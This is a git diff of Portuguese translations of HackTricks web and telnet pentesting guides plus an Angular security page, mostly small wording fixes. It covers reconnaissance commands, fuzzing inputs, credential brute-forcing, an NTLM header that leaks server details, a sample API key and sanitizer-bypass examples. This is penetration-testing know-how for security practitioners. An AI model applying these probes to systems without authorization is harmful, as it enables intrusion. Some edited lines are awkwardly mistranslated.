-**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se você souber como.**
+**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como.**
### [Força bruta](../generic-hacking/brute-force.md#telnet)
@@ -48,7 +48,7 @@ Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
-https://book.hacktricks.xyz/pentesting/pentesting-telnet
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 5376d8074..89873549a 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
-### Orientação de API Web
+### Orientação para API Web
{{#ref}}
web-api-pentesting.md
@@ -31,7 +31,7 @@ web-api-pentesting.md
- [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia?
- [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informações?
- [ ] Algum **scanner especializado** para rodar (como wpscan)?
-- [ ] Lance **scanners de propósitos gerais**. Você nunca sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
+- [ ] Lance **scanners de propósitos gerais**. Você nunca sabe se eles vão encontrar algo ou se vão descobrir alguma informação interessante.
- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **varredura SSL/TLS** (se HTTPS).
- [ ] Comece a **spiderar** a página web: É hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros sendo usados.** Além disso, verifique por **descobertas especiais**.
- [ ] _Note que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spiderado._
@@ -54,7 +54,7 @@ whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-Search **for** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilidades da aplicação web** **versão**](../../generic-hacking/search-exploits.md)
### **Verifique se há algum WAF**
@@ -98,7 +98,7 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/index.html)
-_Leve em conta que o **mesmo domínio** pode estar usando **diferentes tecnologias** em diferentes **portas**, **pastas** e **subdomínios**._\
+_Leve em consideração que o **mesmo domínio** pode estar usando **diferentes tecnologias** em diferentes **portas**, **pastas** e **subdomínios**._\
Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** novos truques (e me avise!).
### Revisão de Código Fonte
@@ -166,7 +166,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Servidores web podem **comportar-se de maneira inesperada** quando dados estranhos são enviados a eles. Isso pode abrir **vulnerabilidades** ou **divulgar informações sensíveis**.
-- Acesse **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc)
+- Acesse **páginas falsas** como /whatever_fake.php (.aspx, .html, etc)
- **Adicione "\[]", "]]" e "\[\["** nos **valores de cookie** e **valores de parâmetro** para criar erros
- Gere erro fornecendo entrada como **`/~randomthing/%s`** no **final** da **URL**
- Tente **diferentes Verbos HTTP** como PATCH, DEBUG ou errados como FAKE
@@ -175,8 +175,8 @@ Servidores web podem **comportar-se de maneira inesperada** quando dados estranh
Se você descobrir que o **WebDav** está **ativado**, mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
-- **Forçar Brute Force** de credenciais
-- **Fazer upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
+- **Forçar Brute** credenciais
+- **Fazer upload de arquivos** via WebDav para o **resto** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
### **Vulnerabilidades SSL/TLS**
@@ -250,7 +250,7 @@ Ferramentas:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dicionário incluído do Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
-- [Listas de palavras Assetnote](https://wordlists.assetnote.io)
+- [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
@@ -277,7 +277,7 @@ _Nota que sempre que um novo diretório for descoberto durante a força bruta ou
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidade oculta**.
- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web.
-- **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
+- **Chaves de API**: Se você **encontrar alguma chave de API** há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar.
- **Buckets S3**: Enquanto faz spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/index.html).
@@ -289,10 +289,10 @@ _Nota que sempre que um novo diretório for descoberto durante a força bruta ou
- Procure por **links** para outros arquivos dentro dos **arquivos CSS**.
- [Se você encontrar um _**.git**_ algumas informações podem ser extraídas](git.md).
-- Se você encontrar um _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
-- Se você encontrar **endpoints de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
+- Se você encontrar um _**.env**_ informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
+- Se você encontrar **endpoints de API** você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
- **Arquivos JS**: Na seção de spidering, várias ferramentas que podem extrair caminhos de arquivos JS foram mencionadas. Além disso, seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma mudança pode indicar que uma vulnerabilidade potencial foi introduzida no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
-- Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para descobrir se são vulneráveis.
+- Você também deve verificar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para descobrir se é vulnerável.
- **Deobfuscador e Desempacotador de Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
- **Embelezador de Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **Deobfuscação JsFuck** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
@@ -313,7 +313,7 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox
**Autenticação NTLM - Divulgação de informações**
Se o servidor em execução que pede autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
-**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **autenticação NTLM funciona**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
+**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
**Redirecionamento HTTP (CTF)**
@@ -336,9 +336,9 @@ Encontre mais informações sobre vulnerabilidades web em:
### Monitorar Páginas para mudanças
-Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas em busca de modificações que possam inserir vulnerabilidades.
+Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas por modificações que possam inserir vulnerabilidades.
-### Comandos Automáticos HackTricks
+### HackTricks Comandos Automáticos
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.
@@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
-https://book.hacktricks.xyz/pentesting/pentesting-web
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index 2bdb99a36..9ccc2cf8c 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -8,13 +8,13 @@ Checklist [a partir daqui](https://lsgeurope.com/post/angular-security-checklist
* [ ] Sourcemap para scripts está desativado na configuração do projeto
* [ ] A entrada de usuário não confiável é sempre interpolada ou sanitizada antes de ser usada em templates
* [ ] O usuário não tem controle sobre templates do lado do servidor ou do lado do cliente
-* [ ] A entrada de usuário não confiável é sanitizada usando um contexto de segurança apropriado antes de ser confiável pela aplicação
+* [ ] A entrada de usuário não confiável é sanitizada usando um contexto de segurança apropriado antes de ser confiada pela aplicação
* [ ] Métodos `BypassSecurity*` não são usados com entrada não confiável
* [ ] A entrada de usuário não confiável não é passada para classes Angular como `ElementRef`, `Renderer2` e `Document`, ou outros sinks JQuery/DOM
## O que é Angular
-Angular é um **poderoso** e **open-source** framework de front-end mantido pelo **Google**. Ele usa **TypeScript** para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como **XSS** e **redirecionamentos abertos**. Ele também pode ser usado do **lado do servidor**, tornando as considerações de segurança importantes de **ambos os lados**.
+Angular é um **poderoso** e **open-source** framework de front-end mantido pelo **Google**. Ele usa **TypeScript** para melhorar a legibilidade do código e a depuração. Com mecanismos de segurança robustos, Angular previne vulnerabilidades comuns do lado do cliente, como **XSS** e **redirecionamentos abertos**. Ele também pode ser usado do **lado do servidor**, tornando as considerações de segurança importantes de **ambos os ângulos**.
## Arquitetura do framework
@@ -41,7 +41,7 @@ my-workspace/
```
De acordo com a documentação, toda aplicação Angular possui pelo menos um componente, o componente raiz (`AppComponent`) que conecta uma hierarquia de componentes com o DOM. Cada componente define uma classe que contém dados e lógica da aplicação, e está associada a um template HTML que define uma visualização a ser exibida em um ambiente alvo. O decorador `@Component()` identifica a classe imediatamente abaixo dele como um componente e fornece o template e os metadados específicos do componente relacionados. O `AppComponent` é definido no arquivo `app.component.ts`.
-Os NgModules do Angular declaram um contexto de compilação para um conjunto de componentes que é dedicado a um domínio de aplicação, um fluxo de trabalho ou um conjunto de capacidades intimamente relacionadas. Toda aplicação Angular possui um módulo raiz, convencionalmente chamado de `AppModule`, que fornece o mecanismo de bootstrap que inicia a aplicação. Uma aplicação normalmente contém muitos módulos funcionais. O `AppModule` é definido no arquivo `app.module.ts`.
+Os NgModules do Angular declaram um contexto de compilação para um conjunto de componentes que é dedicado a um domínio de aplicação, um fluxo de trabalho ou um conjunto de capacidades intimamente relacionadas. Toda aplicação Angular possui um módulo raiz, convencionalmente nomeado `AppModule`, que fornece o mecanismo de bootstrap que inicia a aplicação. Uma aplicação tipicamente contém muitos módulos funcionais. O `AppModule` é definido no arquivo `app.module.ts`.
O NgModule `Router` do Angular fornece um serviço que permite definir um caminho de navegação entre os diferentes estados da aplicação e hierarquias de visualização em sua aplicação. O `RouterModule` é definido no arquivo `app-routing.module.ts`.
@@ -49,7 +49,7 @@ Para dados ou lógica que não estão associados a uma visualização específic
## Configuração do sourcemap
-O framework Angular traduz arquivos TypeScript em código JavaScript seguindo as opções de `tsconfig.json` e, em seguida, constrói um projeto com a configuração de `angular.json`. Ao olhar o arquivo `angular.json`, observamos uma opção para habilitar ou desabilitar um sourcemap. De acordo com a documentação do Angular, a configuração padrão tem um arquivo sourcemap habilitado para scripts e não está oculto por padrão:
+O framework Angular traduz arquivos TypeScript em código JavaScript seguindo as opções de `tsconfig.json` e, em seguida, constrói um projeto com a configuração de `angular.json`. Ao olhar para o arquivo `angular.json`, observamos uma opção para habilitar ou desabilitar um sourcemap. De acordo com a documentação do Angular, a configuração padrão tem um arquivo sourcemap habilitado para scripts e não está oculto por padrão:
```json
"sourceMap": {
"scripts": true,
@@ -72,7 +72,7 @@ Podemos classificar o binding pelo fluxo de dados:
* Alvo de visualização para fonte de dados (inclui _eventos_); pode ser aplicado usando `()` no template;
* Bidirecional; pode ser aplicado usando `[()]` no template.
-O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva fonte:
+O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva de origem:
| TIPO | ALVO | EXEMPLOS |
| --------- | ------------------------------------------------------ | -------------------------------------------------------------------- |
@@ -121,7 +121,7 @@ Existem 6 tipos de `SecurityContext`:
## Vulnerabilidades
-### Métodos de Bypass Security Trust
+### Bypass Security Trust methods
O Angular introduz uma lista de métodos para contornar seu processo de sanitização padrão e indicar que um valor pode ser usado com segurança em um contexto específico, como nos seguintes cinco exemplos:
@@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//resultado
```
-3. `bypassSecurityTrustHtml` é usado para indicar que o valor fornecido é HTML seguro. Observe que a inserção de elementos `script` na árvore DOM dessa maneira não fará com que eles executem o código JavaScript contido, devido à forma como esses elementos são adicionados à árvore DOM.
+3. `bypassSecurityTrustHtml` é usado para indicar que o valor fornecido é HTML seguro. Observe que inserir elementos `script` na árvore DOM dessa maneira não fará com que eles executem o código JavaScript contido, devido à forma como esses elementos são adicionados à árvore DOM.
```jsx
//app.component.ts
@@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("